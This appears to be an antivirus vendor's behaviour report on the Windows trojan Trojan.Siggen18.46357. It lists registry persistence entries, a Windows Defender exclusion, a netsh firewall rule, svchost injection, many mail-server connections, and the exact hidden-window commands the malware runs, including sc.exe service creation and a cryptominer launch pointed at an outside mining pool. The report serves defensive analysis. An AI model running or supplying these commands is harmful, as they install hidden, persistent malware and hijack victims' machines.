Trojan.Siggen18.46357

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\xnjjhwvk] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\xnjjhwvk] 'ImagePath' = '%WINDIR%\SysWOW64\xnjjhwvk\fnfpepxs.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\xnjjhwvk] 'ImagePath' = '%WINDIR%\SysWOW64\xnjjhwvk\fnfpepxs.exe'

Creates the following services

'xnjjhwvk' %WINDIR%\SysWOW64\xnjjhwvk\fnfpepxs.exe /d"<Full path to file>"
'xnjjhwvk' %WINDIR%\SysWOW64\xnjjhwvk\fnfpepxs.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\xnjjhwvk' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\fnfpepxs.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\fnfpepxs.exe to %WINDIR%\syswow64\xnjjhwvk\fnfpepxs.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx##.#and1.co.uk':25
'ex####l.bigpond.com':25
'mx.####ndecorreo.com':25
'mx#######001.gslb.pphosted.com':25
'mx#.##orp.kdns.in':25
'r-####6.korea.com':25
'na#.###.#rotection.outlook.com':25
'mx##.##il.icloud.com':25
'mx####.##il.gm0.yahoodns.net':25
'mx.##a.untd.com':25
'aspmx.l.google.com':25
'ma##.witham.org':25
'ex#####e.wisdomaz.com':25
'mx#######b01.gslb.pphosted.com':25
'mx#.##ailsrvr.com':25
'je#####.boxcarmedia.com':25
'mx.####eallcities.com':25
'mx###.##stedmxserver.com':25
'smtp.google.com':25
'sm##.#innacker.com':25
'sm####.eastlink.ca':25
'in#######.com.1.0001.arsmtp.com':25
'mx#######901.gslb.pphosted.com':25
'ma##.##wermydeposit.com':25
'mx#######003.gslb.pphosted.com':25
'ma##.#ailerhost.net':25
'mx#######201.gslb.pphosted.com':25
'mx.##.###.cust.b.hostedemail.com':25
'mx#.#aver.com':25
'mx##.#-online.de':25
'mx##.1and1.com':25
'ma##.##mmerzbank.com':25
'im##.##cureserver.net':993
'mx#######a04.gslb.pphosted.com':25
'mx.##reaker.net':25
'mx#####ica.zoneedit.com':25
'ff######x-vip2.prodigy.net':25
'al######x-vip1.prodigy.net':25
'mx#######902.gslb.pphosted.com':25
'mx#.#anmail.net':25
'ma##.##riliadestot.com':25
'mx####-1.sscinc.com':25
'mx#######002.gslb.pphosted.com':25
'eb###seed.com':25
'mx#.##eamhost.com':25
'ma####.exxonmobil.com':25
'li######.#lc.protection.outlook.com':25
'cx#.##.#.cloudfilter.net':25
'gq#.#witch.tv':443
'alt1.aspmx.l.google.com':25
'sp###.#ail.gandi.net':25
'mx##.##a.mailcore.net':25
'mx######-com.icoremail.net':25
'mx.######mail.rediff.akadns.net':25
'sm##.#opmail.com':25
'mx##.#lackberry.com':25
'mx#######401.gslb.pphosted.com':25
'mx#.#xcomet.com':25
'mx#######301.gslb.pphosted.com':25
'mx.##.#tinternet.com':25
'a.##.veteres.pl':25
'mx#######c01.gslb.pphosted.com':25
'sm###.#ail.medcity.net':25
'mx#######501.gslb.pphosted.com':25
'mk###.#et.mx1.rcimx.com':25
'mx.##teria.pl':25
'mx#.###355-65.iphmx.com':25
'10#.#7.13.33':25
'in###gram.com':443
'google.com':80
'17#.#13.115.157':423
'17#.#13.115.156':423
'80.#6.75.4':423
'17#.#13.115.155':423
'17#.#13.115.154':423
'17#.#13.115.153':423
'mx#######d01.gslb.pphosted.com':25
'mx#######601.gslb.pphosted.com':25
'mx#######a01.gslb.pphosted.com':25
'mx#######801.gslb.pphosted.com':25
'mx#######101.gslb.pphosted.com':25
'pa####x.above.com':25
'17#.#13.115.158':487
'sv####lfheim.top':443
'ma##.#-email.net':25
'mx#######005.gslb.pphosted.com':25
'mx#######.mail.am0.yahoodns.net':25
'ma###.#anagemgroup.com':25
'sm###a.nfp.com':25
'mx#.#ate.com':25
'fa###ool.xyz':10060
'mx#######803.gslb.pphosted.com':25
'mx#######e01.gslb.pphosted.com':25
'mx######b4701.pphosted.com':25
'mx#######702.gslb.pphosted.com':25
'mu####bedsales.com':25
'mx#######b02.gslb.pphosted.com':25
'ma###.mpsa.com':25
'mx##.###us-vadesecure.net':25
'sm#####.hosting.orange.pl':25
'mx.#####.#om.cust.b.hostedemail.com':25
'mx.#len.pl':25
'mx#######e02.gslb.pphosted.com':25
'mx#######f01.gslb.pphosted.com':25
'em##.freenet.de':25
'mx######91d01.pphosted.com':25
'mx###.comcast.net':25
'mx##.mail.com':25
'mx#######f02.gslb.pphosted.com':25
'mx.########e.prod.cloud.synchronoss.net':25
'mt##.##0.yahoodns.net':25
'al######x-vip2.prodigy.net':25
'mx###.ziggo.nl':25
'mx#######d04.gslb.pphosted.com':25
'so####2.sohu.com':25
'mx#.##lkomsa.net':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'mx###.##stedmxserver.com':25
'je#####.boxcarmedia.com':25
'ex#####e.wisdomaz.com':25
'mx####.##il.gm0.yahoodns.net':25
'na#.###.#rotection.outlook.com':25
'mx.####ndecorreo.com':25
'mx#.#aver.com':25
'sm##.#opmail.com':25
'mx.######mail.rediff.akadns.net':25
'mx######-com.icoremail.net':25
'mx##.##a.mailcore.net':25
'sp###.#ail.gandi.net':25
'i.###tagram.com':443
'alt1.aspmx.l.google.com':25
'gq#.#witch.tv':443
'li######.#lc.protection.outlook.com':25
'mx#.##eamhost.com':25
'ma##.##riliadestot.com':25
'mx#.#anmail.net':25
'al######x-vip1.prodigy.net':25
'ff######x-vip2.prodigy.net':25
'mx#####ica.zoneedit.com':25
'mx.##reaker.net':25
'im##.##cureserver.net':993
'sm##.#innacker.com':25
'mx#.##orp.kdns.in':25
'smtp.google.com':25
'mk###.#et.mx1.rcimx.com':25
'17#.#13.115.158':487
'17#.#13.115.153':423
'17#.#13.115.155':423
'17#.#13.115.154':423
'17#.#13.115.157':423
'17#.#13.115.156':423
'80.#6.75.4':423
'in###gram.com':443
'10#.#7.13.33':25
'pa####x.above.com':25
'mx.##teria.pl':25
'mx#.###355-65.iphmx.com':25
'ma##.##wermydeposit.com':25
'mx#######c01.gslb.pphosted.com':25
'mx.##.#tinternet.com':25
'a.##.veteres.pl':25
'ma##.#-email.net':25
'mx#######.mail.am0.yahoodns.net':25
'mx###.ziggo.nl':25
'al######x-vip2.prodigy.net':25
'mt##.##0.yahoodns.net':25
'mu####bedsales.com':25
'fa###ool.xyz':10060
'mx#.#xcomet.com':25
'in#######.com.1.0001.arsmtp.com':25
'ma##.##mmerzbank.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK r-####6.korea.com
DNS ASK te##nos.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK eu####sidencias.com
DNS ASK mx.####ndecorreo.com
DNS ASK bi##ond.com
DNS ASK ex####l.bigpond.com
DNS ASK ta##21.com
DNS ASK ta###gon.org
DNS ASK mx##.#and1.co.uk
DNS ASK ht##il.com
DNS ASK ma##.#ailerhost.net
DNS ASK be####alkdata.com
DNS ASK te###planet.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK cr##ers.com
DNS ASK el###ronika.it
DNS ASK bo##on.com
DNS ASK em#.com
DNS ASK go.com
DNS ASK mx.##.###.cust.b.hostedemail.com
DNS ASK ne###ape.net
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK yo##ail.com
DNS ASK sm##.#opmail.com
DNS ASK mx#.##orp.kdns.in
DNS ASK ko##a.com
DNS ASK gc###group.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK we##v.net
DNS ASK smtp.google.com
DNS ASK wi#####.prometheusx.pl
DNS ASK mx###.##stedmxserver.com
DNS ASK sk####llcities.com
DNS ASK mx.####eallcities.com
DNS ASK bo###rmedia.com
DNS ASK je#####.boxcarmedia.com
DNS ASK mi####manpress.com
DNS ASK mx#.##ailsrvr.com
DNS ASK te###stems.com
DNS ASK ci##a.com
DNS ASK wi###maz.com
DNS ASK re###fmail.com
DNS ASK tn#.com
DNS ASK ex#####e.wisdomaz.com
DNS ASK wi##am.org
DNS ASK ma##.witham.org
DNS ASK te##s.net
DNS ASK aspmx.l.google.com
DNS ASK ju##.com
DNS ASK mx.##a.untd.com
DNS ASK ve##zon.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ma#.com
DNS ASK mx##.##il.icloud.com
DNS ASK de##.com
DNS ASK me.com
DNS ASK ne##en.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK at#.com
DNS ASK ch##a.com
DNS ASK be###outh.net
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK pa##ell.net
DNS ASK ff######x-vip2.prodigy.net
DNS ASK mi##o.net
DNS ASK mx#####ica.zoneedit.com
DNS ASK cp##ps.com
DNS ASK de###ness.com
DNS ASK ph###ker.net
DNS ASK mx.##reaker.net
DNS ASK di###rds.com
DNS ASK dr###works.com
DNS ASK ea###link.com
DNS ASK sm##.#innacker.com
DNS ASK im##.##cureserver.net
DNS ASK i.###tagram.com
DNS ASK co###rzbank.com
DNS ASK ma##.##mmerzbank.com
DNS ASK sm######ilding-works.com
DNS ASK mx##.1and1.com
DNS ASK ic##ud.com
DNS ASK t-##line.de
DNS ASK mx##.#-online.de
DNS ASK fe##ick.com
DNS ASK fh##60.org
DNS ASK go##.com
DNS ASK mx##.#lackberry.com
DNS ASK mx#######902.gslb.pphosted.com
DNS ASK ba###ftexas.com
DNS ASK am##r.com
DNS ASK tr####rsupply.com
DNS ASK mx######-com.icoremail.net
DNS ASK lu##ku.com
DNS ASK mx##.##a.mailcore.net
DNS ASK ae###rain.net
DNS ASK sp###.#ail.gandi.net
DNS ASK ca###ademy.org
DNS ASK alt1.aspmx.l.google.com
DNS ASK gq#.#witch.tv
DNS ASK co#.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK ib####aternoida.org
DNS ASK li##.com
DNS ASK li######.#lc.protection.outlook.com
DNS ASK te###msa.net
DNS ASK ha##ail.net
DNS ASK wh##per.com
DNS ASK eb###seed.com
DNS ASK ex###mobil.com
DNS ASK ma####.exxonmobil.com
DNS ASK ma####acoutinho.com
DNS ASK mx#.##eamhost.com
DNS ASK ad##nt.com
DNS ASK mx####-1.sscinc.com
DNS ASK al##ia.com
DNS ASK mx#######002.gslb.pphosted.com
DNS ASK ma####adestot.com
DNS ASK ma##.##riliadestot.com
DNS ASK am###ssn.org
DNS ASK mx#.#anmail.net
DNS ASK mx#######a04.gslb.pphosted.com
DNS ASK wi###cker.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK ve##res.pl
DNS ASK a.##.veteres.pl
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK an##e.com
DNS ASK mu###free.com
DNS ASK ma##.#-email.net
DNS ASK al###ate.com
DNS ASK mx#######005.gslb.pphosted.com
DNS ASK ro##rs.com
DNS ASK mx#######.mail.am0.yahoodns.net
DNS ASK ma####mgroup.com
DNS ASK ed###djones.com
DNS ASK ma###.#anagemgroup.com
DNS ASK mx#######d04.gslb.pphosted.com
DNS ASK zi##o.nl
DNS ASK mx###.ziggo.nl
DNS ASK at#.net
DNS ASK al######x-vip2.prodigy.net
DNS ASK fr###iernet.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK ke##omp.com
DNS ASK op###line.com
DNS ASK mx.########e.prod.cloud.synchronoss.net
DNS ASK pf##er.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK hc####lthcare.com
DNS ASK sm###.#ail.medcity.net
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK sp##.org
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK me###spain.com
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK pa####x.above.com
DNS ASK he##.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK su####trentals.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK mh#.net
DNS ASK ma##.com
DNS ASK ai#.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK to####utomotive.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK google.com
DNS ASK in###gram.com
DNS ASK uh##l.com
DNS ASK mx#.###355-65.iphmx.com
DNS ASK in##ria.pl
DNS ASK mx.##teria.pl
DNS ASK mk##a.net
DNS ASK mk###.#et.mx1.rcimx.com
DNS ASK am###trade.com
DNS ASK sv####lfheim.top
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK mx##.mail.com
DNS ASK co##ast.net
DNS ASK mx###.comcast.net
DNS ASK bn.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK cl####hannel.com
DNS ASK mx#######803.gslb.pphosted.com
DNS ASK ti##jo.com
DNS ASK fa###ool.xyz
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK fi##lc.com
DNS ASK sm###a.nfp.com
DNS ASK so##.com
DNS ASK so####2.sohu.com
DNS ASK me###onic.com
DNS ASK yo###mail.top
DNS ASK sm####.eastlink.ca
DNS ASK mx#.#xcomet.com
DNS ASK ca##sjr.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK we###fargo.com
DNS ASK ch##i.org
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK in###matica.com
DNS ASK wi##.net
DNS ASK ma##.##wermydeposit.com
DNS ASK sh#.org
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK in###kinc.com
DNS ASK in#######.com.1.0001.arsmtp.com
DNS ASK ga####nemail.com
DNS ASK o2.pl
DNS ASK mx######b4701.pphosted.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK in####erator.com
DNS ASK sb#.com
DNS ASK mx######91d01.pphosted.com
DNS ASK be###outh.com
DNS ASK em##l.com
DNS ASK pi###los.com
DNS ASK fr##net.de
DNS ASK em##.freenet.de
DNS ASK be##man.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK fm###bal.com
DNS ASK mx#######e02.gslb.pphosted.com
DNS ASK ly##s.com
DNS ASK ac###scable.net
DNS ASK in#####atehotels.com
DNS ASK mx.#len.pl
DNS ASK pr##igy.net
DNS ASK or##ge.pl
DNS ASK sm#####.hosting.orange.pl
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK ta##et.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK mp##.com
DNS ASK ma###.mpsa.com
DNS ASK mu####bedsales.com
DNS ASK ro###tmail.com
DNS ASK mw##2o.com
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK mx#.##lkomsa.net

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\xnjjhwvk\fnfpepxs.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xnjjhwvk\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\fnfpepxs.exe" %WINDIR%\SysWOW64\xnjjhwvk\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create xnjjhwvk binPath= "%WINDIR%\SysWOW64\xnjjhwvk\fnfpepxs.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description xnjjhwvk "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start xnjjhwvk' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\xnjjhwvk\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\fnfpepxs.exe" %WINDIR%\SysWOW64\xnjjhwvk\
'%WINDIR%\syswow64\sc.exe' create xnjjhwvk binPath= "%WINDIR%\SysWOW64\xnjjhwvk\fnfpepxs.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description xnjjhwvk "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start xnjjhwvk
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial